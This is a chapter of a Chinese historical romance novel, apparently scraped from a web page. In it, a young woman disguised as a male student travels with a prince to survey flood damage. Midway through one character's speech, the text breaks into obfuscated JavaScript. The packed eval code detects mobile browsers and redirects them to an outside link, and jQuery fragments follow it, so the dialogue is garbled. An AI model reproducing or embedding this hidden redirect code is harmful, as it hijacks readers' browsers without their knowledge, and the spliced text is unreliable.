五月初一,端午将至。
云麓书院。
门楣两侧早早悬上了艾草,空气里浮动着粽叶的清香。
沈挽棠有片刻的恍惚。
在青州时,外祖父总会提前几日,亲手为她包上几只小巧精致的蜜枣粽,看着她吃完,再用五色彩丝,一边念叨着辟兵缯、辟兵缯,一边在她纤细的手腕上绕成一道鲜艳灵动的长命缕。
那彩绳系住的,不仅是祈福。
等书院循例放假,她正好能名正言顺地返回青州。
这次,她已与迟叔联络妥当,要将霜降一并带离京城。
思及此,连日来积压在心头的阴云被暖风拂开一角,透进些许光亮。
“顾兄,你可听说了?”陆泽远凑过来,“定国公被陛下狠狠训斥了!”
沈挽棠正整理书卷的手微微一顿。
“是这两日的事?”
定国公府树大根深,贺云峥往日那般跋扈,倚仗的便是其父执掌京营的威势,也难怪柳夫人当初要极力巴结。
可如今竟落得这般下场。
“正是。说是纵容世子行为不端,有辱门风,陛下龙颜大怒,申斥之余,直接削去了定国公京营统领的实职,贬去看守皇陵了。”
陆泽远声音压得更低。
“这还不止,贺云峥本人已被革去世子封号,押入京兆府候审,听说流放三千里是免不了了。”
他顿了顿,又想起什么:“说起来,好像这些日子都没见宴山先生。”
沈挽棠忽然想起那件洗净的玄色披风。
修簧里,绿竹青翠。
沈挽棠抱着洗净的包裹,却在竹径尽头被周玉徽拦下了去路。
“顾学子,早啊。”
周玉徽笑吟吟地招呼。
这位长公主独子、军中校尉,在京城亦是声名赫赫的人物,此刻语气出奇地温和。
沈挽棠颔首。
“周世子早,我前来还先生的衣袍。”
周玉徽的目光落在玄色披风上,不由得愣了一瞬。
皇叔的洁癖,他是最清楚不过的。
莫说是旁人,便是他们这些亲近子侄,若有丝毫污秽沾染其衣袍,衣袍也会被立即焚毁殆尽。
可眼前人……
周玉徽眼珠一转,摸摸下巴,脸上闪过一丝促狭:“既然你是来寻先生的,那便随我来吧。”
他走了两步又回头,意味深长的笑了笑,“放心,顾学子,这于你而言,定是桩旁人求都求不来的好差事。”
沈挽棠尚未完全回过神,人已被引至一辆马车前。
萧珩端坐其中。
他今日穿了一身素白常服,更显清冷疏离,宛如山巅积雪,与那日压迫感十足的玄色截然不同。
在书院里,似乎确实少见先生身着深色。
她稳住心神:“学生顾时,见过先生。”
萧珩的目光掠过她的颈间。
之前被剑锋划破的伤痕,在用过玉容膏后,已寻不见半点痕迹。
这般雪白纤细的脖颈,合该完美无瑕。
沈挽棠想为那日的解围道谢,话语在唇齿间辗转几回,却始终未能出口。
车厢内陷入一种微妙的沉默。
萧珩忽然开口。
“可知此行去往何处,所为何事?”
“学子不知。”
她下意识回答,过于秀气的脸上露出些许错愕,长睫因这突如其来的问话而轻轻颤动。
萧珩凤眸微闪。
沈挽棠稳了稳心神:“回先生的话,周世子只引我前来,说是紧要差事,学生并不知具体。”
马车外观朴素,厚重的帘幕将外界窥探彻底隔绝。
只怕,此行秘而不宣。
马车正向南行,若一切顺利,或许她可以趁机脱身,转道青州,赶在端午之前与迟叔他们会合。
“你上次所绘的水车图纸,颇有新意。”
萧珩的声音将她从思绪中拉回。
沈挽棠谨慎应答:“学生翻阅了一些古籍,自行推演所得。具体实效,还需实地验证。”
“哦,是哪些古籍?”
萧珩目光随意地落在她脸上。
沈挽棠含糊道:“是一些地方志与工匠手札的残本,名目繁杂,学生一时也记不全了。”
萧珩未再追问。
马车内里陈设雅致。
萧珩执起小几上的玉壶,斟了一杯微温的茶,推至她面前。
沈挽棠微怔,依言双手捧起茶杯。
温热的茶水入喉,恰到好处地滋润了她有些干涩的唇瓣。
纷乱心绪逐渐平复下来。
镜面般澄澈的茶汤,倒映出沉静的眉眼。
只是那被茶水浸润过的唇,泛着水光,愈发显得饱满柔软,上面似乎还残留着因紧张而被无意识轻咬过的浅浅痕迹。
萧珩不动声色地移开视线,端起自己那杯已然微凉的茶。
.
暮春向夏,湖畔柳色已由初春的嫩黄转为深碧。
不远处,几株石榴树正燃着灼灼红花,与端午将至的时令悄然呼应。
马车停稳,周玉徽率先从后车蹦跳下来。
“先生,顾学子,这一路可闷坏了吧?瞧瞧这地方怎么样,山明水秀的,这可是我特意挑的好地方。”
他话音未落,又朝向自己那辆马车。
“窈娘,你也下来透透气,活动活动筋骨。”
沈挽棠闻声望去,只见那马车上又娉娉婷婷下来一人。
女子红衣似火,身段婀娜,行走间风情摇曳。
不是清风楼那位头牌窈娘,还能是谁?
沈挽棠心头莫名一虚。
而窈娘下车站定,目光便似有若无地扫了过来,与沈挽棠的视线在空中相遇。
沈挽棠勉强牵起一丝笑意。
窈娘眼波流转,唇边噙着抹笑,视线在沈挽棠过于纤细的腰身上不着痕迹地打了个转。
这一切,恰好落入了萧珩眼中。
看着那两人之间无声的对视,萧珩心底升起一股陌生而躁郁的情绪,毫无缘由,却来势汹汹。
沈挽棠的话语犹在耳边。
情非得已,情难自控。
好一个情难自控。
他面色沉静,径直朝湖畔另一侧人迹较少处走去。
众人虽感疑惑,却无人敢出声询问。
却见他刚走出几步,忽地停下,头也未回,声音清冷地唤道:“顾时。”
这声呼唤来得突兀,带着一种不容置疑的命令意味。
沈挽棠心头一跳,不及细想,已下意识抬步跟了上去。
留在原地的众人面面相觑,觉得王爷此举有些反常,可具体怪在何处,又说不上来。
卫陵抱着剑,沉默地倚在车辕旁,目光如鹰隼般追随着那一前一后走向柳林深处的身影。
他看向正得意洋洋的周玉徽。
“你自作主张叫顾时跟来,若影响了王爷的计划,该当何罪?”
上一个自作聪明并擅作主张的人,如今坟头的草,已三尺高了。
周玉徽浑不在意地懒懒一笑.
“卫木头,这你就不懂了吧?我这不是自作聪明,我这是……做了有人心里想做,却没亲自出手的事罢了。”
他假意咳嗽两声,拔高音量。
“顾学子通晓治水工造,性子又沉静稳妥,此去勘察水情,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744539|189821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正是需要他出谋划策的时候,乃是眼下最合适的人选!”
卫陵面无表情地看着他,冷峻的脸上看不出是信是疑。
周玉徽撇了撇嘴。
“得,跟你这块木头疙瘩说不通!”
周玉徽越想越觉得自己的安排天衣无缝,得意地晃了晃脑袋。
他凑向窈娘,揽过她的肩头。
“走走走,美人儿,别管他们那些正经事了,陪小爷我赏景去!”
.
山崖之下,层林叠翠。
初夏的阳光为整片山谷镀上温暖的金边。
微风拂过,撩起沈挽棠颊边的碎发与青玉色的发带,她看得出神,却听身侧传来萧珩沉静的声音。
“看向那边。”
她顺着他示意的方向极目远眺。
在天地相接之处,原本应是村落与良田的地方,此刻却呈现出一片异常浑浊的土黄色。
那片死寂的泽国中,甚至隐约可见大片镜面似的水光。
那是江州水患肆虐后留下的疮痍。
美景与灾域,对比之下更显惊心。
江河一旦震怒,再美的景致也会顷刻间化为乌有。
在梦中看到灾患,与亲眼见到它如何碾碎民生,终究是不同的。
沈挽棠胸口一阵滞涩发闷。
纸上得来终觉浅,书卷上那些冰冷的论述背后,是何等触目惊心的现实。
萧珩神色平静。
他见过太多沙场生死,但那往往干脆利落。
而水旱天灾,却如同钝刀子割肉,缓慢而持久地折磨着活在其中的人,其残酷程度,更甚战场。
他言简意赅:“水患之成,非一日之寒。上游雨势汇集,地势渐缓,河道却未相应开阔。”
犹如巨蟒闯入窄巷,除了泛滥横流,别无他路。
沈挽棠凝神思索,指向河道下游一处拐弯。
“先生所言极是。学生推断,彼处河道不仅狭窄,且拐弯过于急促险峻,水流至此必然相互冲击,壅塞不前,最终导致漫溢成灾。”
她顿了顿:“效仿古法,于合适处开挖引水渠,或还能淤出新田。”
萧珩转眸看她:“你之所想,非旦夕可成。”
分流引水,以疏代堵。
这想法与他之前的某些考量不谋而合,甚至更为系统大胆。
沈挽棠垂下眼帘:“是,学生明白。古书虽载,但成功者寥寥,所需人力物力堪称海量……”
她轻轻摇头,也觉得这想法过于理想化了。
然而,萧珩的目光却再次投向远方。
“事在人为。”
短短四字,平静却重若千钧。
沈挽棠蓦然抬头看他。
夕阳的余晖恰好勾勒出他棱角分明的侧脸,将他周身清冷孤绝的气质染上了层暖色。
恰一阵山风掠过,发丝拂过脸颊,带来一丝微痒。
沈挽棠猛地惊觉两人站得极近,近得能嗅到他身上的清冽气息。
沈挽棠心下一慌,向旁退开半步。
梦中那些令人面红耳赤的亲密片段,不合时宜地猛地闪现。
很快,一股热意将她白玉般的耳垂染得绯红。
.
林木渐深,马车继续沿着山路前行。
一直闭目养神的萧珩忽然睁开了凤眸。
几乎同时,外面传来了卫陵压低的声音:“先生,有情况。”
车外气氛瞬间紧绷。
沈挽棠也察觉到了异样。
路旁密林的泥土上,隐约可见几道深深的车辙印,痕迹新鲜,并非寻常农家牛车或运货马车所能留下。
不远处,一群飞鸟惊惶地冲天而起。